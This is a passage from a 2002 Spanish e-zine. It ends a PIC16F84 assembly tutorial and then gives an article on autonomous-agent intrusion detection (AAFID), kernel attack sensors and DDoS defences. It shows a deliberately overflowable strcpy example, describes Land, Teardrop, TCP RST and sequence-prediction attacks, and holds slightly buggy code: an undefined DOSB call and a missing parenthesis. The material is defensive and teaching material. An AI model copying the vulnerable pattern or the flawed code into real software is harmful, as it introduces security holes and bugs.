; señales de validacion tendremos que recibir para mandar datos nuevos

CONTADOR res 1
; Reservamos memoria para la variable CONTADOR

org 0
; Especifica la direccion inicial donde se escribira programa

;CONFIGURACION
bsf STATUS,RP0
; Ponemos el bit RP0 del registro STATUS a 1 para decirle que queremos ir
; al banco 1, esto se hace con la instruccion bsf (Bit Set File Register)
; que pone a 1 el bit del registro que le digamos

;configuramos TRISA
movlw B'00010000'
; Movemos 00010000 en binario (de ahi la B) al registro de proposito gene-
; ral W
movwf TRISA
; Movemos lo que hay en W a TRISA
; Ya tenemos configurado PORTA como salidas excepto RA4
; Usaremos PORTA para mandar los datos al otro circuito

;configuramos TRISB
movlw B'00000001'
; Igual que antes ponemos en W 00000001
movwf TRISB
; Configuramos RB0 como entrada que sera por donde llegara la señal de
; validacion

;PROGRAMA
bcf STATUS,RP0
; Ponemos RP0 a 0 para decirle que nos vamos al BANCO 0, esto lo hacemos
; con la instruccion bcf (Bit Clear File Register) que pone a 0 el bit del
; registro que le digamos

call UNOA
call UNOB
; Mandamos los datos iniciales al circuito externo llamando a las subruti-
; nas UNOA y UNOB, que mandan como datos dos unos logicos

BUCLE_PRINCIPAL
; Definimos la etiqueta del BULCE_PRINCIPAL

movlw DVC ; W <- DVC
movwf CONTADOR ; CONTADOR <- W
; Ahora CONTADOR tendra el contenido de DVC

HASTA_CONT
; Definimos la etiqueta HASTA_CONT
decfsz CONTADOR,1
; Decrementa CONTADOR en 1 y si no es 0 ejecuta la siguiente instruccion
; que es "goto ESPERA_DV", en otro caso se salta la siguiente instruccion
; y en su lugar ejecuta un NOP (No Operation) y seguira ejecutando el
; "goto MANDA_DATOS", con lo cual la instruccion tardaria 2 ciclos en vez
; de 1, el equivalente en lenguaje de alto nivel seria:
; if ((--CONTADOR) != 0) goto ESPERA_DV
; else goto MANDA_DATOS
goto ESPERA_DV
goto MANDA_DATOS


ESPERA_DV
; Defino la eqtiqueta ESPERA_DV que sera un bucle que comprobara si ha lle-
; gado o no la señal de dato valido
btfss PORTB,RB0
; btfss comprueba si el bit RB0 del registro PORTB esta a uno, si lo
; esta sustituye la siguiente instruccion por un NOP (tardando asi 2 ci-
; clos de instruccion) y sigue ejecutando secuencialmente el programa.
; Traduccion a lenguaje de alto nivel:
; if (ha_llegado_señal(RB0)) goto HASTA_CONT
; else goto ESPERA_DV
goto ESPERA_DV
goto HASTA_CONT

MANDA_DATOS
; Defino la etiqueta MANDA_DATOS que mandara los datos al circuito externo
call UNOA
call DOSB
; Llamo a las subrutinas que mandaran un 1 y un 2 al circuito externo
goto HASTA_CONT
; Y volvemos a esperar hasta que lleguen DVC datos validos

call UNOA
call TRESB
goto HASTA_CONT

call DOSA
call UNOB
goto HASTA_CONT

goto BUCLE_PRINCIPAL
; Y ahora volvemos arriba para hacer un bucle infinito

;SUBRUTINAS
UNOA
; Pone un dato como 01b (1d) para el circuito externo
bsf PORTA,RA0
bcf PORTA,RA1
return
; con return se vuelve al punto donde se llamo a la subrutina

DOSA
; Pone un dato como 10b (2d)
bcf PORTA,RA0
bsf PORTA,RA1
return

UNOB
; Pone un dato como 01b (1d)
bsf PORTA,RA2
bcf PORTA,RA3
return

TRESB
; Pone un dato como 11b (3d)
bsf PORTA,RA2
bsf PORTA,RA3
return

end
; Final Del Programa

6.1 Conexion con el circuito externo:

Circuito Externo
+--------------+
-------------------------------------| DB1 |
/ ----------------------------------| DB0 DV |-------------\
| / ---------| DA1 RESULT |--- |
| | / ------| DA0 | |
| | | / +--------------+ |
| | | | |
| | PIC 16F84 | | |
| | +-----------+ | | |
| \--<--+ RA2 RA1 +-->--/ | |
\----<--+ RA3 RA0 +-->-----/ |
-->--+ RA4 OSC1 +--<---------------- |
5 v.·--R-->--+ RST OSC2 +--<-------------- \ +--------------------+ |
--------->--+ GND VCC +--<-----· 5 v. \ -| Circuito con reloj | |
/ ----->--+ RB0 RB7 +-->-- ---| de cuarzo | |
| / --<--+ RB1 RB6 +-->-- +--------------------+ |
| | --<--+ RB2 RB5 +-->-- |
| | --<--+ RB3 RB4 +-->-- |
| \ +-----------+ /
| \ /
| ---------------------------------------------------------------
-----
--- 0 v. R = Resistencia
-

NOTA: Como ya dije antes las entradas no conectadas han de conectarse a VCC
mediante una resistencia.
Este programa se podria haber hecho usando la interrupcion externa, y
que se habilitara cuando llegase la señal de dato valido, pero como
este documento es solo una introduccion no tratare ese tema, quizas
en futuros documentos sobre este tema lo trate, asi como muchos que
me dejo en el tintero.

7. Fuses:

Los fuses son una especie de variables que configurar algunas cosas del PIC
En el PIC 16F84 hay 4 y son:

7.1 OSC:

Con este fuse se le dice al PIC que modo de oscilacion va a usar, el
tipo de reloj por decirlo de alguna manera. Hay 4 tipos:

+ XT:
Quiere decir que le vamos a suministrar el oscilador mediante un
cristal de cuarzo de una determinada frecuencia.

+ RC:
Asi le decimos al PIC que el oscilador va a ser una resistencia
junto con un condensador, la frecuencia dependera de los valores
de la resistencia y del condensador.

+ HS:
Es como el XT pero para programas que necesiten una alta velocidad

+ LP:
Es como el XT pero no la frecuencia del oscialdor no podra pasar
de 200 Khz, consume poco (Low Power) pero va lento.

7.2 WDT:

Este fuse se refiere al Watchdog o perro guardian, es una caracteristi-
ca que tiene el PIC para autodefenderse de bucles infinitos, es decir,
cuando el PIC entre en un bucle infinito p.ej. y no se borra el regis-
tro del Watchdog durante un tiempo, el PIC se reseteará.
La instruccion que borra el registro del WDT es CLRWDT.

7.3 PWRT:

Activandolo el PIC se retardara un tiempo en inicializarse mientras se
estabiliza la tension de alimentacion.

7.4 CP:
Activando este fuse (Code Protection) nadie podra leer el contenido del
PIC, aunque si sobreescribirlo y ejecutarlo

8. Compilando Y Simulando El Programa:

Como ya dije antes para compilar el programa usaremos el gpasm que viene in
cluido en el paquete gputils. Para compilar el programa:
gpasm -I/usr/share/gputils/header prog.asm

El -I es para indicarle al compilador donde estan los headers. Cuando lo
compilemos nos encontraremos cosas como:

prog.asm:9:Warning [205] Found directive in column 1.
prog.asm:22:Warning [205] Found directive in column 1.
prog.asm:25:Warning [203] Found opcode in column 1.
prog.asm:29:Warning [203] Found opcode in column 1.
prog.asm:30:Warning [203] Found opcode in column 1.
prpg.asm:30:Message [302] Register in operand not in bank 0. Ensure bank bits are correct.
prog.asm:34:Warning [203] Found opcode in column 1.
prog.asm:35:Warning [203] Found opcode in column 1.
prog.asm:35:Message [302] Register in operand not in bank 0. Ensure bank bits are correct.
prog.asm:39:Warning [203] Found opcode in column 1.
prog.asm:42:Warning [203] Found opcode in column 1.
prog.asm:43:Warning [203] Found opcode in column 1.

No os preocupeis, es normal, lo unico que hace es avisar que ha encontrado
un opcode (numero que corresponde al memonico ASM) y que se esta en el BAN-
CO 1 por razones de seguridad, ya que en el BANCO 1 se programan los "mod-
os de funcionamiento"
del PIC.
Una vez compilado se crean varios archivos:
+ prog.hex: Sera el archivo que a posteriori se grabara en el PIC fisica-
mente.
+ prog.cod: Trae los codigos que seran interpretados por el gpsim para si
mular el programa.
+ prog.lst: Es un archivo intermedio que crea el compilador para mirar los
errores etc.

Bueno, ya lo tenemos compilado, asi que ya solo queda simularlo para ver
si hace lo que queremos, para simularlo:
gpsim -s prog.cod
Y acto seguido se abriran varias ventanas con la informacion de los regis-
tros del PIC, etc. y hasta se puede ver graficamente como va el PIC.

9. Aclaraciones:

Un ciclo de instruccion son 4 de reloj, asi que aunque la maxima frecuencia
de reloj que soporta el 16F84 es de 20Mhz, serian 5 Mhz reales.

10. Referencias:

http://garaje.ya.com/deore/Pics/pic1.htm
http://www.conket.com
PIC16F84 Datasheet (http://www.microchip.com)


*EOF*
|-----------------------------------------------------------------------------|
[ 7a69#14 ] [ 21-10-2002 ]
\ /
\-------------------------------------------------------------------------/
{ 10 - Agentes autonomos. }{ MemoniX }
|-----------------------------------------------------------------------|





============================================================================
= Introduccion
============================================================================

Los agentes autonomos son un concepto avanzado en el campo de los IDS o
Intrusion Detection Systems, basado en la utilizacion de programas
independientes o "agentes" para llevar a cabo un control total sobre los
hosts de una red que permitan detectar intentos de intrusion en tiempo real.
La herramienta que hace uso de este sistema es AAFID (Autonomous Agents For
Intrusion Detection), la cual se podria catalogar dentro de los sistemas
basados en normas, aunque realmente esta herramienta fue la que introdujo
este concepto, ya que hoy en dia muchos IDS incorportan todas estas
capacidades, siendo este sistema a dia de hoy obsoleto.
En este articulo se intentara explicar todos los conceptos relacionados, no
debiendo el lector caer en la erronea suposicion de que este tipo de
sistemas son los mas fiables, ya que el campo de los Sistemas de Deteccion
de Intrusos es relativamente nuevo estando en una constante evolucion, a la
vez que tambien hay que tener en cuenta que existen una gran cantidad de
sistemas de deteccion de intrusos los cuales son privados, por lo que basan
su seguridad sobre todo en la "oscuridad" a la que son sometidos.
En este articulo tambien se expondran otras tecnicas / sistemas dentro del
campo de los IDS que pueden resultar interesantes.

============================================================================
= El problema
============================================================================

No a la centralizacion, ese es el principal objetivo de estos sistemas que
vienen a mostrar una posible alternativa a los sistemas mas comunes, los
cuales se centran en un unico punto central que es el encargado de la
recoleccion y procesamiento de la gran mayoria de los datos. Una vez dicho
esto podemos pasar a enumerar algunas caracteristicas que deberian de estar
implantadas en cualquier IDS:

- Un sistema ha de ser tolerante a fallos, significando esto que ha de ser
capaz de recuperarse de cualquier caida o incidente provocada por un
intruso o actividad maliciosa, a la vez que lograr regresar a su estado
inicial

- Un sistema ha de ser capaz de salir airoso si uno sus componentes se viene
abajo por cualquier circunstancia en el sentido de que el resto de los
componentes debe de continuar con su trabajo de la mejor forma posible

- Si un numero considerable de maquinas estan siendo monitoreadas, ese
sistema ha de permitir una reconfiguracion dinamica para que no sea
necesario el tener que desconectar el sistema de todas las maquinas a la
hora de tener que realizar un cambio cualquiera

Como se puede apreciar las arquitecturas dominantes de IDS en el mercado
actual no incorporan muchas de estas caracteristicas, ya que estas usan un
unico analizador central aun en el caso de que nos encontremos con IDS
formados por modulos distribuidos entre las maquinas de esa red que analizen
el trafico de esta misma, ya que a fin de cuentas los datos siguen siendo
encaminados a un punto central.
Ese analizador central es el punto de falla de todo el sistema ya que como
es sabido una cadena es tan fuerte como el mas debil de sus eslabones, si un
atacante se propone como objetivo ese punto toda la red se vera
comprometida. A su vez otro problema que se deriva es que ha de existir un
limite en la cantidad de trafico que puede ser analizado, ya que un exceso
de trafico para una unica maquina puede suponer la caida de esta misma.

============================================================================
= Concepto de agentes
============================================================================

Un agente puede realizar tanto una tarea simple como una de gran complejidad
a la vez que puede que necesiten informacion para su correcto funcionamiento
producida por otro agente, pero aun asi se les sigue considerando a todos
los efectos "autonomos", ante esto puede que la idea de total autonomia no
se vea tan clara, por lo que se clasifica a los agentes verdaderamente
dentro de dos categorias.

- Agentes totalmente independientes, cuyos resultados son producidos por el
mismo sin necesitar de la asistencia de ningun otro agente

- Agentes pertenecientes a un grupo, donde la informacion generada por cada
agente es necesaria para el correcto funcionamiento del resto de los agentes
englobados dentro de ese grupo

Como se ve en todo momento el daño que se puede producir contra un sistema
esta restringido, ya sea a un unico agente o a un grupo de agentes
organizados dentro de una misma estructura. A su vez todo el conjunto de
agentes que forman el sistema en su totalidad estan organizados mediante una
estructura jerarquica compuesta por multiples capas de agentes, donde cada
capa inferior reporta la informacion necesaria a su respectiva capa
superior.

Una sistema conocido por todo el mundo que se puede en cierta medida
asemejar al comportamiento de los agentes autonomos es el sistema
inmunologico humano, formado por una gran cantidad de celulas las cuales se
encuentran en el sistema sanguineo dispersas a traves de todo el cuerpo,
debiendo de atacar en el momento en que se encuentran con una posible
amenaza para el cuerpo, siendo a veces necesario la union de varias celulas
para destruir al atacante, es decir el cuerpo esta en todo momento preparado
para defenderse gracias a que tiene un gran numero de estas "celulas",
tambien siendo importante la caracteristica de que si una zona del cuerpo se
ve infectada las celulas se desplazan a esa parte para luchar, lo cual
tambien es una caracteristica de los agentes autonomos en la medida en que
se pueden reconfigurar dinamicamente y migrar de un sistema a otro.
Un sistema AAFID esta compuesto por tres tipos de componentes:

- Agentes

- Transmisores

- Supervisores

Pasando a ver el funcionamiento de cada uno de ellos.

============================================================================
= Agentes
============================================================================

Cada maquina de una red en la que queramos instalar un sistema AAFID puede
contener cualquier numero de agentes, siendo la funcion de estos la de
vigilar la maquina en la que se encuentran segun las normas que tengan
establecidas y reportar a su transmisor correspondiente si ocurre algun
suceso definido como sospechoso o peligroso, ya que un agente no tiene la
"autoridad" necesaria para generar una alarma por si solo, ocupandose de
ello los transmisores o receptores. Tambien se podria decir que los agentes
no se comunican directamente con los demas agentes del sistema, habiendo
entre ellos el correspondiente transmisor en todo momento.

Pero aun asi los agentes disponen de ciertos privilegios o caracteristicas
importantes como pueden ser la posibilidad de retener estados entre sesiones
para poder detectar cambios importantes o cualquier tipo de ataques, pero lo
que es mas fascinante, la capacidad de aprendizaje que pueden llegar a tener
aunque al comienzo se dijese que un sistema AAFID es un sistema basado en
normas, teoricamente debido a ciertas caracteristicas se le puede encuadrar
dentro de los llamados sistemas adaptables, ya que no solo se limita a
trabajar a partir de firmas de ataques conocidas, sino que puede aprender
nuevas lo cual se lleva a cabo mediante tecnicas de inteligencia artificial
y en el caso que nos ocupa mediante tecnicas de programacion genetica, lo
que ahorraria la construccion de una enorme base de datos, estando formada
por pequeños programas encargados de detectar actividades muy simples en el
sistema. Pero en la mayoria de las ocasiones el problema no ofrece una
solucion sencilla o esta es muy "cara" computacionalmente, por lo que la
posible solucion es representada mediante arboles de decision los cuales
son manipulados mediante operaciones parecidas a las que se producen en la
genetica, lo que reduce en gran medida el trabajo del operador ya que este
simplemente ha de "guiar" el aprendizaje del agente sin tener que ajustar
especificamente las operaciones de ningun agente el cual llegado el momento
en que ha terminado su fase de aprendizaje se dedicara a observar la
actividad del sistema y cooperara con los demas agentes para decidir cuando
se ha producido un ataque, sin que el proceso de encontrar nuevas
combinaciones de acciones a analizar se detenga en ningun momento.

La complejidad de un agente puede ser muy variada, ya que se trata de un
simple programa encargado de una funcion especifica dentro del complejo
entramado del sistema, pudiendo estar escrito en una gran cantidad de
lenguajes de programacion, aunque puede hacer uso de elementos sintacticos
creados por un lenguaje especialmente creado para esta funcion, lo que ayuda
a la hora de tener que manejar parametros importantes del sistema como
podria ser el uso de la CPU, lo que estaria disponible para el programa como
la variable CPU_USAGE, o el valor de varios campos de las cabeceras de los
paquetes que lleguen hacia esa red, siendo esta abstraccion tambien posible
en gran parte gracias a la capa de codigo entre los agentes y el sistema.
Es decir en todo momento los agentes consultan a la capa encargada de la
abstraccion de las caracteristicas importantes del sistema, comparando los
valores que le son devueltos con su modelo interno del sistema mediante sus
propios calculos para poder llegar a la conclusion de si el sistema esta
bajo una intrusion o no.
Varios ejemplos de estas abstracciones usadas en los arboles de decision en
pseudocodigo podrian ser:

--==[Ejemplo 1]==--

for-each-packet do
if( ip-destination-address-of-packet
is-not-equal-to my-ip-address )
then generate-a-suspicion-broadcast
endif
endfor

Donde IP-DEST obtendria la direccion ip de destino del paquete de la capa de
abstraccion y la funcion IP-NEQ compararia esta direccion con la direccion
del sistema dada por MY-IP. Este simple agente podria colaborar con otros
para llegar a desarrollar alguna funcion util para la seguridad del sistema.

--==[Ejemplo 2]==--

for-each-packet do
if( get-subnet-part(ip-destination-address-of-packet )
is-not-equal-to my-subnet-address )
then
generate-a-suspicion-broadcast
if( (packet-protocol equals UDP) and
(udp-dest-port equals 520)) then
generate-a-suspicion-broadcast
endif
endif
endfor

Este fragmento muestra como se puede detectar si un paquete entrante tiene
como destino una subred fuera del firewall, y si el paquete

  
es del tipo UDP
y va dirigido al puerto 520 se genera un mensaje de advertencia.
Como se ve esta forma de trabajo ofrece mucha flexibilidad, ya que podriamos
usar este simple agente para ocuparse de esta actividad en todo el sistema o
un agente en el firewall, lo que nos ahorraria muchos quebraderos de cabeza
si la red se ve atacada, ya que las maquinas podrian perder la conexion
entre ellas, pero los agentes seguirian trabajando independientemente,
mientras que si trabajasemos con un IDS simple dentro del firewall muchas de
las maquinas al perder la conexion entre ellas dejarian de estar protegidas.

--==[Ejemplo 3]==--

for-each-packet do
if( packet-protocol equals UDP) then
if( ip-source-address-of-second-packet
is-not-equal-to ip-destination-address-of-first-packet )
then generate-a-suspicion-broadcast
endif
if( udp-source-port-of-second-packet
is-not-equal-to udp-dest-port-of-first-packet )
then generate-a-suspicion-broadcast
endif
if( ip-destination-address-of-second-packet
is-not-equal-to ip-source-address-of-first-packet )
then generate-a-suspicion-broadcast
endif
if( udp-dest-port-of-second-packet
is-not-equal-to udp-source-port-of-first-packet )
then generate-a-suspicion-broadcast
endif
endif
endfor

Este simple agente vendria a hacer alguna de las caracteristicas conocidas
como filtrado dinamico de paquetes, todo ello debido a que los encabezados
UDP no tienen nada parecido a un bit ACK como sucede en los paquetes TCP,
por lo que no se puede saber con solo examinar el encabezado de un paquete
UDP entrante si es el primer paquete de un cliente externo a un servidor
interno, o en cambio es una respuesta de un servidor externo a un cliente
interno.
El concepto de este agente es que "recordaria" los paquetes UDP salientes
que ha visto, lo que le serviria para permitir regresar unicamente a los
paquetes con las respuestas correspondientes. Para que este paquete entrante
se tome como una respuesta valida, ha de ser del anfitrion y puerto al que
se envio el paquete saliente y debe estar dirigido al anfitrion y puerto
que envio el paquete de salida.

============================================================================
= Transmisores
============================================================================

Los transmisores tienen como funcion controlar todas las operaciones que
realizan los agentes de una maquina, a la vez que procesando toda la
informacion que es generada por estos, es decir por cada maquina hay un
transmisor siendo el canal de comunicacion de esta con el resto de las
maquinas de la red; siendo tambien responsables de reducir la informacion
que les presentan los agentes para ser pasada a los supervisores.

============================================================================
= Supervisores
============================================================================

Los supervisores estan en la parte mas alta de la jerarquia del sistema,
teniendo acceso a toda la informacion de la red, ya que los transmisores
mandan sus informes a uno o varios supervisores, por lo que son los
encargados de detectar intrusiones cuando estas implican a mas de una
maquina de la red pudiendo detectar eventos que no son reportados por los
transmisores.
A su vez los supervisores pueden recibir instrucciones por parte de otros
supervisores del sistema, ya que puede existir una estructura jerarquizada
entre ellos tambien, siendo estos finalmente los que se comunican con el
usuario tomando la ultima decision en todo momento, es decir puede que un
agente informe de alguna actividad sospechosa en el sistema, pero si esta
actividad no es respaldada por mas agentes sera ignorada como un falso
positivo ya que los agentes no tienen la decision final, una vez que varios
agentes de una maquina confirman dicha actividad entra en juego el
transmisor que volvera a evaluar la situacion pasando de nuevo su propio
informe al supervisor correspondiente donde se haran las ultimas
estimaciones.
Como se puede ver los supervisores son un posible punto de fallo, ya que si
cae uno todos los transmisores que dependen de el dejaran de pasar
informacion, pero esto se resuelve gracias a la estructura jerarquica que
esta presente en este tipo de sistemas, ya que si un supervisor cae los
supervisores por encima de el se encargaran de examinar la situacion.

============================================================================
= Canales de comunicacion
============================================================================

Como es logico la transmision de mensajes entre las distintas partes del
sistema (agentes, transmisores y supervisores) es una parte fundamental de
este tipo de sistemas, debiendo de cuidar la seguridad de estos canales en
gran medida para protegerlos contra ataques externos o subsistemas internos
en algunos casos, a la vez que se debe de contar con mecanismos de
autentificacion y privacidad para defender tales canales.
Los sistemas distribuidos usan RCP (Remote Procedure Call) o TCP/IP como su
principal canal de comunicacion, mientras que las aplicaciones internas
pueden usar streaming protocols, multicast, RPC entre otros, siendo muy
comun el que esten programadas usando librerias de paso de mensajes como
MPI (Message Passing Interface) o lenguajes de programacion como HPF o
HPC ++ que ya nos pueden permitir asegurar la creacion de procesos y los
mecanismos de seguridad.
En terminos generales podemos clasificar los tipos de comunicaciones en dos
tipos:

- Comunicaciones entre procesos en una misma maquina

- Comunicaciones entre procesos de distintas maquinas

Como posible desventaja podemos ver que hay un cierto riesgo de sufrir un
DoS, ya que cuando un proceso manda un mensaje a otro el kernel copia los
datos en memoria, habiendo una logica limitacion en el numero de mensajes
que se pueden almacenar.

============================================================================
= Un paso mas alla: Sensores encajados
============================================================================

Viendo de una manera global a los sistemas que hacen uso de los agentes
autonomos se puede comprobar que aun siguen teniendo ciertos puntos que los
hacen vulnerables a varios tipos de ataques ya que estos agentes en todo
momento hacen uso de una gran cantidad de informacion del sistema lo que
hace que la cantidad de recursos necesarios para su funcionamiento se
dispare.
Ante esta problematica nos encontramos con los sensores encajados, los
cuales son usados por sistemas como OpenBSD, sirviendo para detectar ataques
especificos y estando en el caso de OpenBSD "encajados" en el kernel
ocupando muy poco codigo, usando recursos del sistema solo cuando son
ejecutados a la vez que estan mas protegidos a ser desactivados por un
atacante al ser parte del codigo del kernel, reduciendo tambien el numero
de falsos positivos y negativos al estar situados cada uno en el segmento
de codigo donde se encuentra el fallo del que puede intentar aprovecharse el
atacante.

Un ejemplo simple podria ser:

--==[Ejemplo 1]==--

char buf[1024];
strcpy(buf,getenv("TERM"));

En este ejemplo la variable de entorno TERM es copiada a un buffer sin
chequear su longitud, pudiendose obtener un buffer overflow.
Un posible sensor que se encargase de vigilar esta variable podria ser:

char buf[1024];
{
if (strlen(getenv("TERM")) > 1024 {
log_alert("buffer overflow");
}
}
strcpy(buf,getenv("TERM"));

Donde una vez que se ha implantado el sensor la funcion log_alert nos
alertaria de que se ha producido un buffer overflow, pudiendo otros sensores
intentar parar la intrusion, aunque tiene otras complicaciones que no vamos
a tratar.

Algunos sensores implantados en OpenBSD de ataques concretos son:

--==[Land]==--

case TCPS_LISTEN: {
...
if (ti->ti_dst.s_addr ==
ti->ti_scr.s_addr) {
/* ESP */
#ifdef ESP_LAND
if (esp.sensors.land)
printf("LAND attack\n");
#endif
goto drop;
}
... }

Este ataque puede causar un DoS en varias implementaciones de TCP, mandando
un paquete TCP SYN a un puerto de la maquina, estableciendo la direccion de
la maquina victima tanto como destino a la vez que fuente, usando tambien
el mismo puerto de la maquina victima como destino y fuente, causando que la
maquina entre en un bucle infinito enviandose paquetes ACK a si misma hasta
que cae.

--==[Teardrop]==--

i = p->ipqe_ip->ip_off +
p->ipqe_ip->ip_len -
ipqe->ipqe_ip->ip_off;
if (i > 0) {
if (i >= ipqe->ipqe_ip->ip_len) {
/* ESP */
#ifdef ESP_TEARDROP
if (esp.sensors.teardrop) {
printf("TEARDROP attack\n");
...
}
#endif
goto dropfrag;
}

Teardrop es un ataque de solape de fragmentacion IP, debido a que se hacen
comprobaciones para gestionar los fragmentos grandes pero no para los
fragmentos demasiado pequeños, pudiendo un atacante forzar un tamaño de
fragmento negativo, provocando la caida del sistema.

--==[TCP RST DoS]==--

if (tiflags & TH_RST) {
if (ti->ti_seq!=tp->last_ack_sent) {
/* ESP */
#ifdef ESP_RSTDOS
if (esp.sensors.rstdos)
printf("TCP RST DOS attack\n");
#endif
goto drop;
}
... }

Este ataque consiste en el envio de un falso paquete TCP RST que provoca
la desconexion de la sesion TCP, debido a que no se comprueban los numeros
de secuencia de los paquetes RST.

--==[TCP Sequence Number Prediction]==--

if (tiflags & TH_ACK) {
...
if (SEQ_LEQ(th->th_ack,tp->snd_una) ||
SEQ_GT(th->th_ack,tp->snd_max)) {
/* ESP */
#ifdef ESP_TCPSEQNR
if (esp.sensors.tcpseqnr)
printf("TCP SEQNOPRED attack\n");
#endif
goto dropwithreset;
}
... }

Aqui el problema viene debido a que el numero inicial de secuencia de TCP no
es elegido tan aleatoriamente como debiera, por lo que un atacante puede
adivinarlo y completar la conexion con una direccion spoofeada.

Esta clase de sensores son una gran solucion para la defensa de un sistema
debido a las ventajas que conllevan y deberian de ser tomadas en cuenta para
el diseño de un IDS, pudiendo ser tambien utilizados para construir un
honeypot "universal".

============================================================================
= No solo deteccion: NetRanger
============================================================================

La gran mayoria de los IDS solo se dedican a reportar actividad no
autorizada pero no a terminar con esta actividad, encontrandonos con
NetRanger que si que es capaz de hacerlo eliminando las conexiones
sospechosas, siendo posible esto cambiando las Access Control Lists (ACLs)
de los routers Cisco. En este sistema tambien se recurre a un tipo de
sensores encargados de capturar los paquetes, pudiendo actualizar
dinamicamente las ACLs para negar actividad no autorizada, a su vez estos
sensores no pueden ser detectados al no tener direccion IP por lo que ningun
paquete es enviado hacia ellos.

Cuando un ataque es detectado no solo se cambian las ACLs, el sensor manda
un TCP Reset para terminar con esa conexion en el caso de que sea TCP.
Las reglas son del formato:

ip audit attack {action [alarm] [drop] [reset]}

Donde alarm, drop y reset son las acciones que se pueden tomar.

Un ejemplo de configuracion seria:

--==[Ejemplo 1]==--

ip audit smtp spam 25

/* especificamos el numero de receptores de un mensaje para ser considerado
como un spam attack */


ip audit notify nr-director

/* especificamos el metodo de notificacion de sucesos a usar, en este caso
mandando mensajes en el formato NetRanger al director NetRanger o al
sensor */


ip audit notify log

/* a su vez tambien notificamos de los sucesos acaecidos mandando mensajes
en el formato syslog */


ip audit po local hostid 55 orgid 123

/* especificamos los parametros a usar a la hora de mandar los mensajes al
director NetRanger, donde 55 identifica la maquina local dentro de todo el
conjunto de comunicaciones y 123 identifica el grupo al que pertenece */


ip audit po remote hostid 14 orgid 123 rmtaddress 10.1.1.99 localaddress
10.1.1.1 preference 1

/* parecido a lo anterior con la salvedad de que en este caso configuramos
los parametros a la hora de recibir mensajes del router, donde 10.1.1.99 es
la direccion IP del director NetRanger, 10.1.1.1 la direccion IP del router
y 1 indica el router designado para esa comunicacion */


ip audit name AUDIT.1 attack action alarm drop reset

/* creamos un conjunto de reglas con el nombre de AUDIT.1 configurada para
tener firmas de informacion, firmas de ataques y en el caso de que se
produjese un ataque se mandaria una alarma ya sea a la consola, a syslog o
al director NetRanger, se dejaria el paquete en cuestion y se resetearia la
conexion */


interface e0

ip address 10.1.1.1 255.255.255.0

/* direcciones */

ip audit AUDIT.1 in

/* especifica que el conjunto de reglas llamado AUDIT.1 sera aplicado al
trafico entrante */


============================================================================
= Ataques Coordinados
============================================================================

Hoy en dia los llamados ataques coordinados son una de las mayores fuentes
de problemas para los profesionales de la seguridad informatica debido a la
dificultad que estos conllevan para ser detenidos, la relativa facilidad con
que pueden ser lanzadas y el tremendo daño que pueden llegar a causar.
Los tradicionales DoS son faciles de detectar y prevenir, ya que lo que se
hace es monitorear la cantidad de trafico proveniente de cada direccion,
saltando las alarmas si esta cantidad de trafico es inusual, pero los DDoS
no son tan faciles de manejar, ya que entran en juego una gran cantidad de
maquinas, por lo que ya no se puede aplicar la anterior tecnica.

LLegado a este punto, deberiamos de mencionar a los ISP, los cuales son uno
de los puntos mas importantes de defensa contra un DDoS, debiendo estos de
seguir unas sencillas reglas para intentar mitigar este tipo de ataques,
pudiendose dar el caso de que en un hipotetico futuro solo sobrevivan
aquellos ISP capaces de reaccionar a este tipo de ataques, ya sea por el
cumplimiento de todas las reglas preventivas necesarias como por su
tremendo ancho de banda, y ante esto ultimo los pequeños ISP no podrian
reaccionar.

Actualmente se estan llevando a cabo numerosas investigaciones en el campo
defensivo, ya sean monitores distribuidos inteligentes, metodos
criptograficos como protocolos "puzzle", herramientas IP Traceback o ICMP
Traceback, etc.

Ante esta avalancha de nuevos problemas lo unico que se puede hacer es
mediante la ayuda conjunta de un IDS y de un firewall intentar prevenir
estos ataques, para que estos tengan lugar la supuesta eleet necesita de
maquinas vulnerables para la instalacion de maestros y demonios, por lo que
un esfuerzo global de cara a la seguridad, reduciria las posibilidades de
que se produzcan dichos ataques, aunque esto por supuesto puede que sea una
utopia.

Por ultimo podriamos resaltar la existencia de herramientas como Stick, las
cuales pueden ser capaces de producir un DoS contra un IDS, basandose como
no en la simple idea de flodear al IDS, donde llegado cierto momento este no
es capaz de manejar todos los eventos generados en ese pequeño intervalo de
tiempo, suponiendo este tipo de herramientas mas posibilidades de ataque
para los individuos que se dedican a llevarlas a cabo, aunque el concepto en
si no tiene ningun misterio.

============================================================================
= Protocolos Puzzle: Reservando el derecho de admision
============================================================================

Esta seccion no tiene un enlace directo con el campo de los sistemas de
deteccion de intrusos, pero supone unos conceptos interesantes para
cualquier 'doctor en seguridad', ya que mediante estos protocolos se abre
una nueva via para la defensa de un servidor ante DoS lanzados por los
atacantes siendo la idea la de proponer un "juego" para ver quien puede y
quien no resolverlo.

En el momento en que un servidor equipado con este tipo de sistemas
comprueba que esta siendo atacado, lo que hace es enviar a los clientes que
solicitan sus servicios unos pequeños puzzles criptograficos, siendo
necesario su resolucion si el cliente quiere tener acceso a ese servicio.
Hay que recordar que este tipo de sistemas estan aun en fase experimental,
siendo hoy en dia uno de los metodos en teoria mas efectivos el de los
"syncookies", que aunque suponen un gran avance en la lucha contra los DoS
del lado de los servidores, siguen teniendo ciertas posibles
vulnerabilidades, aunque lo justo seria decir que estas se reducen a un
rango muy concreto y reducido. En este punto es donde los desarrolladores
de los llamados puzzles criptograficos partieron, para hacer que su
tegnologia fuese lo mas perfecta posible.

Como punto de partida debemos de decir que los protocolos puzzle no parten
de hipotesis como si hacen otros sistemas defensivos, por lo que son mucho
mas robustos que estos otros, siendo tambien utiles para ser usados contra
ataques internos, como para manejar ataques montados a grandes velocidades,
ya que como parte de sus caracteristicas de adaptacion los puzzles generados
seran del tamaño correspondiente a cada tipo de ataque, a la vez que estos
han de ser resueltos en un intervalo determinado de tiempo.
Como se puede ver, el punto mas critico de este tipo de sistemas lo
constituyen los puzzles, por lo que estos han sido desarrollados de una
forma cuidadosa, estando compuestos estos a su vez por sub-puzzles para
evitar los ataques por fuerza bruta, siendo importante el decir que cada
subpuzzle tiene una unica solucion, a la vez que cada uno se construye
independientemente del resto, por lo que los problemas de una mala eleccion
de la "semilla" parecen haber sido parcialmente tenidos en cuenta, siendo
tambien bastante complejo intentar montar un ataque criptoanalitico contra
estos sistemas.

Aunque a este tipo de sistemas les quedan por pasar pruebas a pie de campo
auguran un gran avance en el campo defensivo, ya que para cualquier IDS la
deteccion y bloqueo de un DDoS es bastante problematica, por lo que estos
sistemas pueden ser de gran ayuda, aunque solo serian validos para cierto
tipo de servidores ya que como se ha dicho, el cliente que quiera tener
acceso al servidor ha de tener que resolver el "juego" que se le proponga,
